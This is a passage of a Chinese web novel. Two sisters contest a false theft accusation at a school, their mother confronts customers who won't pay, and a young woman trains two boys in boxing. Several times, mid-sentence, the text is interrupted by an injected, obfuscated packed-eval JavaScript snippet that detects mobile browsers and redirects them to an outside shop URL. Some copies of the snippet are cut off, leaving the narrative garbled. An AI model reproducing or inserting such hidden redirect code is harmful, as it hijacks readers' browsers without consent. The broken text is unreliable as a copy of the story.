秀竹根本没注意到这些。她现在满肚子雄心壮志,她姐都给她配了最好的装备,那不得争个学校第一回来吗?况且英语又有什么难学的?无非是多听多背,她的词汇量已经提起来了,再把听力练一练,英语第一名岂不是指日可待? 直到年级主任让班主任把她叫出来,她还在背英语单词。年级主任姓蔡,长着一张马脸,平时就不苟言笑,看她的时候神情更是严厉,直接就问她,随身听是从哪儿来的。 秀竹一时有点懵,解释说收录机是姐姐买给她的。蔡主任皱眉看着她,明显不信,因为他对以前的秀竹还有印象,衣着朴素、勤奋好学,一看就是家庭条件困难的农村女孩。为什么仅仅过了几个月时间,她的衣着突然就时髦了起来,现在竟还有余钱买这种昂贵的东西? 他便说:“你要说实话!年轻人犯点错很正常,但不能一错再错!” 秀竹起初有点摸不着头脑,但她实在很聪明,突然就联想到了前段时间宿舍失窃的事情,羞愤涌上心头,她大声说:“我说的就是实话!” 这神情看在老师们眼中,自然又成了作贼心虚的证据。班主任周老师平时很喜欢秀竹,乖巧又学习优异的孩子,在老师这里总是很受青睐。但因为女生宿舍近段时间频繁被盗,校方全无头绪,刚好学校又收到秀竹偷钱的举报信,校方表示要严查,她也不敢打包票,只好说:“要不叫家长来一趟吧。问问家长不就清楚了?” 蔡主任想了想,认为可行,便说:“让你家长过来,把买随身听的发票也带上。” 要在过去,秀竹多半也就忍气吞声回家了,但暑假当了大半月的小老师,让她的胆量增长不少,也有勇气反问老师了:“凭什么要我请家长?我做什么了?” “为什么请家长,你心里不清楚吗?”蔡主任咄咄逼人,“我们有理由怀疑你的随身听来路不正!” “我没有偷东西!”秀竹一下子就炸了,“你们冤枉人!我根本没偷东西!” 坐在家里的小凳上,秀竹抽噎着把事情的经过告诉了母亲和姐姐,她觉得耻辱、觉得委屈,但最气的是自己没有发挥好。她为什么态度不能再强硬点?为什么不能镇定地解释这一切?为什么不像姐姐那样,争取自己的权益?为什么他们让她回家,她就要乖乖回家…… 刘瑞英听完前因后果,气得手脚都麻了,立刻把围裙解下来,说:“哭啥?走,我跟你去学校!” 秀水却把她妈拦着了,“店里早上生意正好,你就忙你的吧,我跟竹子去一趟。” 她不紧不慢地梳头发,另换了一套衣服,还把伍爱娜的假珍珠项链也戴上了。这项链虽是假的,但也要看戴在谁身上。她戴着,就没人怀疑是假的了。 刘瑞英看秀水不急不慢的,忍不住催促:“你倒是快点!赶紧把这事解释清楚了,让秀竹回去上课!” “急什么!这叫作‘罗衣镇小人’,先给他们留个不好惹的印象!”秀水精心打扮着,说:“我不光是要解释清楚这事,我还要让他们给竹子赔礼道歉,凭什么冤枉人?农村女孩就可以被随便冤枉了?” 秀竹听了,眼泪又流了出来。秀水道:“把眼泪给我擦了!该说说,该吵吵,没事不要掉眼泪!” 秀竹连忙用手背擦干眼泪,又跟着姐姐去楼上翻出发票。两人这才骑着自行车,一起往学校走。 秀竹骑车载着她姐,问:“姐,要是学校怎么也不相信我们的话,要怎么办?” “告他们!”秀水冷哼道:“去教育局告,去纪委告,去市委市政府告去!他们敢冤枉人,咱们就有胆量告状。你一个光脚的还怕穿鞋的?” 秀竹听了,心下大定,要是学校领导有人管,她就不怕了。秀水想了想,又问:“去了那边,是你自己先说说看,还是我来替你出头?” 秀竹踌躇片刻,咬牙道:“我先说!凭什么冤枉我!我先质问他们!太过份了……” “那你要冷静哦,”秀水鼓励她,“先把要说的话想好,打个腹稿。无论他们怎么狡辩,你就咬准一点,谁主张,谁举证。不是说你是贼吗?证据拿出来!没证据说什么屁话废话?哦,我穿件好衣服我就是贼?我用个随身听我就成贼了?这是什么狗屁逻辑?” 秀竹果然备受鼓舞,一路都在思考等会儿见了学校领导要怎么说。秀水又问:“谁举报你的,心里有数吗?” 秀竹摇头,一想到平时亲亲热热的同学有可能背后刺她一刀,她就想掉眼泪,“我也不知道,我……我平时还以为自己跟同学关系不错呢,每次带包子都分给他们吃,有人问我题,我也从来不藏着掖着的……” “竹子,没必要自责,”秀水安慰地拍拍她的后背,说:“这不是你的错。有时候太优秀了,也会招来很多的嫉恨。” “那怎么办?是我平时太出风头了吗?”秀竹抽了抽鼻子,开始自我反省,“可我也没做什么啊,谁想藏拙啊,谁不想考好啊,总不能故意考差吧……” “打住打住!”秀水赶紧制止,“说了是别人的错,你还反思起你自己来了。喻秀竹,你这个思想要不得!就算你爱出风头,就活该被人嫉恨被人诬陷吗?放屁!给老娘挺起胸膛做人,听到没有?他们越是嫉妒你,你越要变得更优秀!气死他们!气着气着那些人就正常了,因为你会成为他们不可超越的存在哈哈哈哈!” 秀竹也抿着嘴笑,过了一会儿突然大声喊:“放屁!他们都在放屁!” “对!说什么屁话!拿证据,道歉!不然这事没完……” 在学校保安室,班主任周老师接到了她们。她打量着秀水,无端觉得眼熟,但又确实没见过这样的大美人。秀水身穿蓝白细条纹的衬衫和米白色高腰西裤,衬衫领口微微敞开,露出里面的珍珠项链。头发在头顶挽成了一个团子,虽然不施粉黛,看着却十分雅致利落,根本不像农村家庭出身的人。 周老师便问:“请问你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868088|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀竹的……” “我是她姐,亲姐,”秀水道:“爸妈都有事,来不了,我只好来一趟了。” 看得出来,两姐妹的五官和身量都比较相似,年龄相差也不大,但秀竹还满脸学生气,跟落落大方的姐姐比起来就格外显小。 周老师不敢怠慢,忙解释道:“是这样的,学校最近……” “我已经知道了,”秀水打断她的话,说:“我想见见校长。” 周老师一怔,见她语气不善,忙解释道:“嗐!喻秀竹同学平时是很优秀的,我也很信任她。主要是她突然就……就衣着时髦了起来,还买了随身听这种东西,我们也是担心孩子学坏,才让她请家长的,就是过来交流交流,也没别的意思……” “我也没别的意思,”秀水不卑不亢道:“周老师,作为家长,我很尊敬您,也很配合学校的工作。但偷盗不是小事,既然学校让我们自证清白,那我希望有校领导在场,这个要求不过份吧?” 这要求确实不算过分,因为一旦涉及偷盗,还是多起偷盗案,学生极有可能被开除。周老师无奈,只好带她去了一位王副校长的办公室,做了简单介绍。王校长还不清楚情况,忙让人把蔡主任叫了过来。 秀水没有多说,直接把发票递给了蔡主任。蔡主任翻来覆去地看发票,怀疑道:“真是家里买的?……你们家不是农村的吗?” 秀水看着秀竹,示意她上。秀竹便清了清嗓子,说:“主任,谁规定农村家庭不能买随身听了?我们家是农村的,但农村人也重视教育。” 蔡主任有点恼火,没有作声。王校长和气地说:“喻秀竹同学,学校调查这件事,也是要还你清白。既然是家里买的,那就没事了,回去上课吧。” “不行!”秀竹脱口而出,顿了顿又道:“法律规定,谁主张,谁举证。主任不是说我偷东西了吗?证据呢?没证据凭什么冤枉人?” 王校长等人听得目瞪口呆,过了一会儿,蔡主任才严厉道:“有人举报你,学校调查,这是正常程序!” 周老师也忙说:“既然是误会,解开了就没事了。秀竹,快回去上课吧……” “不行!事关我的名誉,不说清楚可不成!”秀竹倔强地站着不动,盯着蔡主任说:“有人举报我,您就应该事先问清楚,对方有证据吗?没有证据,那就是诬告!诬告就应该追究举报人的责任,凭什么不问清红皂白冤枉我?” “不是已经说清楚了吗?”王校长也打着哈哈两边劝解,“而且蔡主任也没说钱是你偷的,只是有疑点,现在搞清楚了也就没事了……” “我不觉得搞清楚就没事了,”秀水眼看差不多了,这才开口,“首先,年级主任和班主任在上课期间把我妹妹叫出来,怀疑她偷盗,并且还让她回去请家长,这已经给她造成了极大的心理伤害;其次,班上同学都看到秀竹被调查、被请家长,如果她就这么回去,大多数人仍会怀疑她真的是小偷;第三,既然有人举报,那么是谁举报的?他是什么用意?有什么证据吗?我希望学校把这件事也调查清楚……” 秀竹向姐姐投去敬佩的一瞥,学到了学到了,下次她说话,也要用“首先”“其次”“第三”,听起来好有条理好有气势! 39. 第 39 章 办公室有片刻沉默,秀水做了总结:“既然已经闹到这个地步,学校就应该妥善处理。不然我妹以后还怎么在学校学习和生活?她还有两年时间呢。各位老师,我的顾虑不多余吧?” 蔡主任难堪地沉默着,王校长也有些不快,问:“那你们想怎么样处理?” “我认为主任根据一封来源不明的举报信,就怀疑一位平时品学兼优的学生,这种行为很不理智、很不负责任,极大伤害了学生的自尊心。我希望您能当着班上同学向喻秀竹道歉,并且详细说明情况。同时,我还要追究诬告者的责任!”秀水特意说得很慢、很清晰。 王校长有意缓和双方的矛盾,先扭头吩咐:“周老师,给这位家长倒杯水。”又让蔡主任把举报信拿来,最后才对秀水说:“我建议不要把这件事闹大了,影响不好。学生还要在学校上学呢……” 秀水自然明白王校长的意思,得罪了老师,对孩子没什么好处。但这件事她肯定也不会轻轻放过。于是她不轻不重地说:“那按王校长的意思,这事要怎么处理呢?” “既然喻同学跟偷盗案件没关系,我建议啊,就由班主任带她回去,说明情况就可以了。”王校长把蔡主任的责任摘了出来,“至于举报者的责任,等会儿我来看看那封信……” 正说着,蔡主任进来了,把一个白色信封递给王校长,王校长接过去,一目十行看完,递给秀水。秀竹也忙凑到姐姐身边,两人共同看那封举报信。 信件一开头就直白地写着“学校领导,我们怀疑509寝室的喻秀竹是小偷”,接下来列举了几条所谓的证据,其一是整栋宿舍楼经常有人丢钱丢物,但喻秀竹却从没丢过东西。其二是自偷盗案件是从暑假补课时开始的,而喻秀竹在补课期间还衣着寒酸,新学期开始时却突然衣着时髦了起来;其三是她还购买了随身听……,最后落款是509寝室。 秀水看完,把信交给秀竹,不能置信地冷笑:“我还以为证据有多过硬呢,原来全是臆测。我妹的衣服和随身听都是我买给她的,因为我前两月才开了家服装店。而且,喻秀竹没有丢过东西,这也成为她偷盗的证据了?这……这是什么狗屁逻辑?宿舍楼也不是人人都被偷过吧?难道那些孩子也都有嫌疑?” 蔡主任还想坚持自己的意见,“单独看哪一条都不算证据,但这么多巧合凑在一起,难道我们还不能调查调查了……” “行了!”王校长打断他,他也觉得蔡主任处理事情太草率了,便安抚秀水:“这封信留下来,我们查一查。这件事我看就到这里吧。无论怎么说,学生先回去上课,不能耽误学生……” 秀竹却在这时突然插话,“我知道是谁写的!” 几个人都看着她,秀水的眼圈红了,声音颤抖着说:“我知道,我认识这个人的笔迹。” “谁?”旁边的周老师忙问。 “陈媛媛。”秀水说:“就是她的字,我不会认错。” 周老师忙接过去,重新看了一遍,脸色也凝重起来。蔡主任却觉得这不是追究举报责任的时候,“学校最近偷盗频繁,学生们都很不安,我们是鼓励大家提供线索的,也有助于我们破案。再说这封信上,也并没有肯定地说喻同学是小偷,只是怀疑……” “但现在已经对秀竹造成了影响!”秀水的声调严厉了,“她凭什么怀疑?就凭那几条狗屁不通的所谓证据?最可笑的是你竟然采信了这些说辞,还真的让我妹接受调查,凭什么?就凭她是农村孩子,就不能穿好衣服,不配用随身听?” “家长先冷静下,”王校长和周老师都劝:“有什么话好好说,先冷静下来……” “我怎么冷静?”秀水火冒三丈打断他们,“王校长,周老师,你们也是有子女的人,换成你家孩子被人诬陷偷了钱,请你去学校配合调查,你们还能冷静吗?冷静得下来吗?” “家长,小喻同志,”王校长忙说:“你要是信任我们呢,就让我们来处理这件事,好吗?首先,学生要尽快回去上课,周老师带她回教室,向班上同学说明情况。然后呢我们也不能肯定地说,这封信就一定是那位陈媛媛写的。已经冤枉了一位同学,我们也不能冤枉另一位同学,你说是吧?这次的事情也要引起我们的重视,以后处理相关事情时我们也会更谨慎……” 这时,秀水和秀竹同时开了口:“不行!” 秀水看看秀竹,让她先说。秀竹便道:“是不是陈媛媛写的,叫她来问问不就知道了吗?我也想知道,她凭什么怀疑我……” 说到这里有点哽咽,却很快接上,“首先,不搞清楚这件事,我回到教室也没心思上课。其次,随便举报别人不用承担任何后果吗?那要照这样,以后我是不是也可以举报他人?学校平时教育我们要正直、要诚信,却又在这种时候刻意助长歪风邪气,这是正确的办学理念和办学方法吗?” 秀水看着妹子,内心给她点了一万个赞。可以的喻秀竹,成长得很快嘛! 副校长办公室的动静闹大了,渐渐吸引了一些教职员工,在门口小声打听发生了什么事。这时,忽然有人惊喜地喊:“喻秀水!那不是喻秀水么?” “怎么你认识?”旁边人问。 “你们没看报纸吗?”那人兴奋地大声道:“喻秀水!在车上抓劫匪的那个!她,还有个八中学生,还有个报社记者,后来还上了省台的!她到我们学校来干嘛……” 声音传进办公室,里面的人听得很清晰,情况急转直下,突然起了些变化。 王校长一下子热情起来了,“小喻,哦哦你就是那个见义勇为的……那个小喻同志?不简单哪!坐坐!请坐请坐!刚才说到哪儿了……” 周老师也恍然大悟,怪不得她觉得有点面熟呢,肯定在电视或报纸上看过一眼又忘了。最震惊的当属蔡主任,他对本地人勇擒劫匪一事也有所耳闻,还曾倍感自豪。怎么也没想到,那个上过省台的女的竟然是喻同学的姐姐! “都是误会!”王校长看起来又谦虚又好说话,“我们会核实这封举报信的,一定给家长和孩子一个交代。另外呢前期我们的处理也有不恰当的地方,蔡主任,到时候你亲自到班上去,和周老师说明情况,让班上同学不要造谣传谣。同时呢我们还会在周一学校大会上讲一讲这件事,让大家在提供破案线索时讲究真凭实据,不要恶意中伤同学。你放心我们肯定不能助长歪风邪气……” 这已经是她们能争取的最好的安排了。秀竹表示同意,秀水也没有异议。事情就这么定下来了。秀竹跟蔡主任和周老师回班上,秀水对校长表示感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秀竹摇头,“老师问过陈媛媛,她不承认是她写的。哼,敢做不敢当的小人!我算看清她了,还假惺惺地装作跟我关系好,问我题目怎么写,吃我带的包子,没见过那么不要脸的人……” “那现在呢?你俩彻底闹翻了?”秀水问。 “那可不!我不跟她闹翻,还惯着她吗?”秀竹理直气壮地说:“我一回寝室就说了,谁举报的,我心里有数!我一辈子都不会原谅这个人!你可以嫉妒我,可以看不惯我,但你不能诬陷我,这是犯法的,要是我认真追究责任,是要去坐牢的……” 刘瑞英心情轻松多了,习惯性地劝女儿,“算了她知道错了,就不要跟她计较这么多了,同学之间嘛,抬头不见低头见的……” “妈!”秀水和秀竹同时打断她,秀竹接着说:“同学之间怎么了?我就是要让他们知道,我不是那么好惹的!她还哭呢,很委屈地在那儿呜呜呜,我理都没理她。我去他的!她在背后捅我一刀,当面掉掉眼泪就完事了?我就要恨她一辈子,以后再不跟她说一句话,我的包子也再不给她吃!你说是吧姐?” 秀水朝妹子竖起大拇指。秀竹开心了,站起来盛饭,“气死我了都,气得我饭量都变大了!我要再吃一碗!” 40. 第 40 章 晚上天黑了,喻庆山才从红英村赶回来。十月正是秋收季节,他连着几天都住在那边,如今田里稻谷都收得差不多了,才抽空回来了一趟。 晚上洗澡上床后,刘瑞英才把小女儿学校的事细细告诉了他。喻庆山既震惊又欣慰,这么大的事,本该他这个当父亲的人出面的,没想到两个女儿竟然自己摆平了。 “老二哭过没有?”他叹气道:“这几天应该叫她住在家里的,免得去学校又受同学的气……” “刚开始还不是眼泪流得老长,”刘瑞英道:“她姐跟她去了以后,这周末回来,还比较开心,说是跟举报她的人吵架了,还吵赢了,把那人说得哇哇地哭。” “哟,”喻庆山笑了一声,“竹子现在胆子也变大了。” “可不是!秀水还说我呢,让我不要把竹子教得太老实太善良。”刘瑞英躺在床上,轻声说:“好比这次的事,就该让她吵让她闹。不然的话,别人要是觉得她好欺负,那以后谁都能欺负她。我仔细一想,确实是这么个道理,老话不都说人善被人欺吗……” 其实秀水说的是“愚善”,刘瑞英笼统归并到善良老实这个类别。想想前几十年在红英村的时候,不也是这样?别人争了她家地里的水、砍了她屋后的柴禾,甚至纵牛吃了她家的庄稼,赔个笑脸她就不好说什么了。结果呢,最后欺负他们家的人越来越多了。 喻庆山累了一天,很快就睡着了。刘瑞英却是久久无法入眠。顺带着她还想到了自己在娘家受过的委屈。以前总觉得,天下无不是的父母,爸妈骂她打她,总归是为了她好。可现在,她第一次觉得,三姐弟中父母对她最严厉,很可能也是因为她最心软。 反正骂得再凶,老两口过几天对她说两句软话,她就会照样乐颠颠地跑回家,巴心巴肝地对他们好。 想到这里,她的心疼得发颤,呼吸都浊重起来了。 凭什么她要受人欺负、被人拿捏?刘瑞英暗下决心,从现在开始,她也要强硬起来。她是心善,可并不是个傻子! 第二天早起,喻庆山和她一起做了包子、炒了肉臊子、往代销点送了包子,才又匆匆忙忙回红英村去了。刘瑞英一个人照看早餐店,左右生意不忙,也完全顾得过来。到十点多的时候,从外面进来两个人,一坐下就朝刘瑞英喊:“老板娘,来两碗肥肠粉,再加两个豆腐包!” 刘瑞英赶紧答应了一声,抬头看时,心里却格登了一下。 这两人她可太记得了,看模样就住在小庙村,已经来吃过几顿早饭了,每次都没给钱,笑呵呵地说挂账。刘瑞英也不好意思追着他们要钱,毕竟人家态度是好的,伸手不打笑脸人嘛。而且早餐店开在小庙村的地盘上,以后打交道的时候还长,乡里乡亲的,也不便把人得罪狠了。 但那已经是过去的刘瑞英的顾虑了。经过昨晚的反省,刘瑞英觉得,什么没带钱!都是鬼话!这两人肯定试准了她好说话。若不肯赊账也就算了,赊了一次就有第二次,以后可不就经常来蹭吃蹭喝了? 这不,这几天看喻庆山不在店里,来得越发勤快了。也并没说不给钱,每次都说以后给。照这样下去,他们那钱猴年马月才拿得出来! 刘瑞英深吸一口气,暗下决心,今天务必把钱要到手。大不了,吵一架!得罪就得罪了,这种赖子,最好再也别到她店里来! 她下了两碗粉端过去,笑呵呵地搭讪:“两位大兄弟,味道怎么样?多给我们提提意见啊。” 那两人果然脸皮厚,顺着竿就爬上来了,说:“味道蛮好的,就是肥肠放少了。下回给我多舀多,肥肠么值几个钱……” 少你娘!都堆起来了还说少!给你盛一碗你嫌不嫌少?! 刘瑞英心头恼怒,面上仍是和和气气的,道:“好的,我晓得了。大兄弟,我们店里小本生意,不赊账。这回麻烦您二位把前些天的早饭钱一起结了吧。” 两个人呼哧呼哧地吃粉,其中一个不耐烦地道:“怎么?还怕我不给?几块钱都要追在屁股后头要!” “不是不是……”刘瑞英涨红了脸,沉默片刻,索性也把笑脸收了,“头一天你说没带钱,挂一回账也就算了。这都连着四五次了,总不能回回没带钱吧?哪有吃早饭还挂账的?” “老板娘,你看你这小气调子!”那人摆出教训人的腔调,“都是街坊邻居,又不是不给你!这才几个钱,你就顶着催!什么意思嘛,像你这样哪是长久做生意的样子……” 刘瑞英站在旁边沉默片刻,忽然把抹布重重朝桌上一甩,“我看你是不想给吧?肥肠粉两碗四块钱,两个包子五毛钱,拢共四块五的生意还挂账?说什么生意不长久,有你这种人来吃饭,我生意才做不长久!” “哎哟!”那人气结,大声嚷嚷起来:“这什么意思!硬是要往外赶客哪?眼里还有没有人啊?信不信我现在就喊几个乡亲过来,到时候你这早餐店就别开门了……” “那你去喊!我让小庙村的乡亲们都来评评理!”刘瑞英气得眼泪都快出来了,“早饭钱还挂账,说出去我看你好意思么!” 双方争执起来,秀水在隔壁听到动静,也探头过来瞧。这时旁边吃饭的女食客看不过眼,也开了口:“几块钱,就给人家了嘛!老板娘先头说得够客气了,不就想赖账嘛……” 那两人便朝女食客吼:“关你啥子事?关你啥子事?就你长了张逼嘴……” 女食客也是个暴躁性子,一摔筷子就准备站起来跟他吵,刘瑞英却因为两人吼了自家店里的客人,更加愤怒起来,指着那人道:“你吼别人干什么?有什么意见冲我来!人家进了我的店,就是我的客人!你吼我的客人干什么?” 女食客自觉自己被维护了,满意坐下,冷言冷语道:“老娘长了嘴就是说话的,不像有些人,长个逼脸比磨盘都大!忘记带钱就莫进来嘛,一顿早饭不吃又饿不死人!还挂账,说出去也不嫌丢人!” 那两人也纷纷回骂:“要你管!闲吃萝卜淡操心!”“老子有的是钱,外面吃馆子都不问价!”“就是不想给,你能拿我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“秀水么倒是有个做生意的样子,”刘兰英说:“说话做事,和气里带着刚强。就是大手大脚,开店没两个月,朝我们家送了一堆衣服鞋子!” 她说着掏出一卷钱来,朝刘瑞英手里塞,“你家也有账没还清,哪能白穿你们的衣服?给,拿着!” 刘瑞英忙推搡起来,“她的账没跟我们合在一起,你要给,给她去!别在这儿跟我拉拉扯扯……” 两人正撕扯着,秀水又从隔壁探过头来,笑道:“我刚过去,就听这边又闹起来了,我还以为我妈又跟人吵架呢。” 刘兰英知道秀水不会要自己的钱,只得又把钱收回去,说:“你妈这人,从小就是最听话最懂事的,对上体贴父母,对下照顾弟妹,就只苦了她自己。太心善了,做生意就容易吃亏。也幸好你们两家店挨着,以后你可得多照应着些。” “姨妈,你说错了,”秀水过来道:“我妈现在也厉害了。你刚才没看见,她护着自家店里的顾客跟那两人吵架,可霸气了!” “真的?”刘兰英问。 刘瑞英不好意思地笑起来,又无端有些自豪,“嗐!别听她瞎说!不过进了店都是客,他们那么说我店里的客人,我肯定要跟他们吵的……” 41. 第 41 章 一直到十一月份,秋收才陆续结束。喻庆山和刘瑞英换了班,每天他守着店,刘瑞英回去红英村,种蒜苗、筛黄豆、摘花生,把剩下的活儿干完。 一个周末的清晨,很久没出现的高晟再次来到了早餐店门前。他撑在自行车上,跟喻庆山打招呼,“叔叔,早上好!” 喻庆山抬头,差点没认出来高晟。跟暑假的时候相比,高晟简直变了个人。他瘦了只怕有几十斤,整个人看着都清爽了不少。虽然晒得黑黑的,但脸上的痘痘也少了,面部轮廓显现出来,长眉大眼高鼻梁,竟然是个小帅哥。 “哎哟,哎哟,”喻庆山搓着手朝他走过去,“怎么瘦成这样?不过瘦了挺好看,挺好看!” 高晟朝他笑,露出一口白牙,问:“我师父在后院里?” 喻庆山到现在还不习惯他这个“师父”的称呼,忙说:“秀水在院子里,估计跟今子在一起。” “叔叔,那我进去了。”高晟朝他笑笑,轻车熟路地骑进院门,就见伍爱今和秀水正在朦胧的曙色中做热身。 每天早上的跑步训练,到现在只有伍爱今跟秀水还在一直坚持。13岁的伍爱今,从一个结实的小黑墩练成了一个更结实的小黑墩。看到有人进来,伍爱今忙大喝一声:“哎,找谁啊?” “找你!”高晟把车停靠在墙边,走进院子。 伍爱今盯着看了会儿才认出来,惊喜地蹦跳过去,“晟哥!怎么是你晟哥!” 秀水也叉腰打量他,惊诧道:“怎么瘦成这样?瘦多少斤了?” “两个多月,减下来三十多斤。”高晟说。 “!”秀水发自肺腑地感叹:“怎么办?你才十七岁!” 高晟看着她,就听她说:“你才十七岁,竟然减下来三十多斤!小晟晟,有这个毅力,以后你干啥不能成功啊?” 伍爱今也羡慕:“有这个毅力,活该他帅啊……” 高晟努力想装得矜持些,但嘴角疯狂上翘,根本压不住。 老实说,他最近过得很辛苦。自从报了学校的田径队,每天他要在操场训练四个小时以上,晚上还要练习拳法和步伐。天天都是一身臭汗,还要克制饮食。唯一盼望的事,就是被教练肯定,以及来到这里被师父大夸特夸。 “走走走,小晟哥,跟我们一起跑步去!”伍爱今热情招呼。 高晟做了些拉伸,三个人便出了院门,顺着马路朝前跑去。在快到城区的地方折返,跑到小庙大道另一端的尽头,再返回早餐店。 初冬的清晨,城市和田野笼罩着一层薄雾,路上行人车辆寥寥,正适合跑步。五六公里的路程,伍爱今和高晟一直紧缀在秀水后面,间或还能聊几句,跑得不要太轻松。 快到早餐店的时候,秀水忽然感觉一个高个子迈着大长腿嗖嗖地超过了自己,紧接着,一个小黑墩踩着风火轮,也嗖嗖地超过了她。那两人高昂着头,在前面跑得带风,一口气抵达早餐店门口,然后一边叉腰喘息,一边得意地喊:“师父/大姐,你好慢哦!” 秀水没理他们,昂首阔步走进院子,从里屋拿出来两对拳套,说:“今天练一下对抗?” 伍爱今激动了,赶紧喊:“我先来,大姐,我先来!” 他觉得自己最近进步不小,肯定能跟他姐打个平手。没想到刚摆好架式,眼前突然一花。一道人影欺近身来,刚猛拳头直袭头部。伍爱今慌忙护头避让,胁下却受了重重一击,打得他惨嚎一声。 “你好慢哦!”秀水无情地嘲讽,“再来!” “再来!”伍爱今咬着牙吼,他就不信了,他练那么久,怎么可能连他姐一招都挡不住! 接下来更惨了。明明秀水用的都是些基本套路,他也很熟悉,可就是速度太快、变化太灵活。仿佛四面八方全是拳头,躲不开,根本躲不开! 后院惨叫连连,旁观的高晟不寒而栗。亏他还觉得自己今非昔比,甚至打算等会儿收着力道,毕竟师父是个女孩子,不能真把人打痛了。现在看来,师父以前根本就没发挥实力,跟他们闹着玩呢。真动起手来,他只有挨揍的份! 接下来的虐菜时间,后院不时传来拳头到肉的闷响,和被揍后的惨嚎。声音太响,把喻庆山都惊动了。他到后门处探头看了看,忍不住喊:“秀水,下手轻点,别把人家孩子打坏了。” 十分钟后,秀水解下拳套,不屑地看了看两名手下败将,上楼洗澡去了。哼!跑得快就能得意吗?长得高就了不起吗?力气大就可以骄傲吗?变帅了就不打你了吗?几十年经验和技术在手,干你们这些菜鸡,不是分分钟的事吗? 院子里,高晟和伍爱今并排蹲着,一高一矮,看着像两个小可怜。 高晟捂脸:“我师父打人怎么这么疼!” 伍爱今摸屁股,语气充满绝望:“晟哥,咱们还能不能行了?难道这个女人就不可战胜吗?是吗晟哥?” 他的晟哥也有同样的绝望和疑问,但少男的自尊心不允许他说出这种话。男人,怎么能说自己不行?不可以! 两人在院子里蹲了好一会儿,才擦干汗水与泪水,去早餐店吃饭去了。伍爱今化悲愤为食量,一口气痛吃三个包子。高晟却依旧只吃了两个茶叶蛋和一个包子。现在他早饭都这么吃,高蛋白低碳水,秀水随手给他拿的早饭,成了他一直执行的标准。他就是这么瘦下来的。 吃完饭,两人没那么沮丧了,去服装店找秀水玩。高晟告诉他们自己进了校田径队。八中确实设置了体育专业,但因师资有限,只有田径项目。高晟想学体育,除了田径别无选择。 起初他练田径,只是为了减少在教室的时间。没想到,坚持到现在,他在学校交到了不少朋友,有田径队的,也有同班同学。 之前他给班上同学的印象,是那个经常趴在后排睡觉的冷脸胖子。他烦老师和同学,大家也都很烦他。现在嘛,变高变帅之后,虽然脸还是冷,却勉强能称之为高冷帅哥了。 当了体育生之后,班主任看他也顺眼了。毕竟听说叛逆学生训练很刻苦,似乎有这方面的潜力,而且上课也不怎么睡觉了。天天吃不饱、练得苦,高晟需要在课堂上画画火锅、画画打拳小人,才能排解心中郁闷。 伍爱今和他同病相怜,都是上课困难专业户。但伍爱今对付老师很有一套,便建议道:“晟哥,你这样不行!你哪怕不听课,也得做出认真的样子来!要跟老师有眼神交流,偶尔点头表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885402|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示自己有努力思考!搏个印象分,你会少很多麻烦,真的你信我!” “眼神交流?”高晟担忧道:“那他要是喊我起来回答问题怎么办?” “不会的!”伍爱今很有经验,“老师会觉得我们很笨,学得再认真也没用。但因为我们实在是很认真、很努力了,他也就不好意思找家长麻烦了。你懂?” 高晟惊呆了,他完全没想到过这个层面。秀水也惊呆了,她忍不住道:“不是,为什么不真的很认真地听听课呢?很难吗?认真听讲难道很难吗?” “你不懂,姐,”伍爱今深沉地答,“你们这些人不会懂的!” “是的,你们不会懂的!”高晟附和道。 两个学渣认真交流经验,秀水边熨衣服,边打量伍爱今,不知怎么的,觉得小黑墩有点可怜。 据她观察,伍爱今可能有点阅读障碍症。他到现在读课文,都必须用手指着一个字一个字读,不然就很容易漏行或跳字。九十年代人们对这种病症缺乏了解,单纯认为他调皮、学习不专注。但其实伍爱今对喜欢的事物很专注。比如教他拳击,他总能很快掌握。 好在农村家庭对孩子的学业普遍没有抱以很大期待,伍为民早就说了,考得上高中就让他读,考不上就跟他学木工,以后总有一碗饭吃。伍爱今就这么傻呼呼地长大了,成了一个性格坚强乐观的学渣。 但高晟又是怎么变成现在这个样子的呢?他看起来家境富裕,人也不笨,难道是因为小时候没人管? “高晟,你小时候学习也不行?”秀水问他。 男人,不能说不行。高晟沉默了一下,说:“不是。单纯是讨厌老师,特别是初中老师。” “为什么呢?”秀水追问。 “不为什么,”高晟说:“就是觉得有些人很虚伪,很坏,让人讨厌。” 伍爱今同情点头,秀水也没有追问。她看得出,高晟明显不愿意提及这些事。他对现在的生活已经比较满意了。只要他在最后一排不说话、不睡觉,老师总体来说还算和蔼。毕竟父母都对他考大学不报任何希望。把他拘在学校,更多为的是免得他出去跟社会青年学坏了。 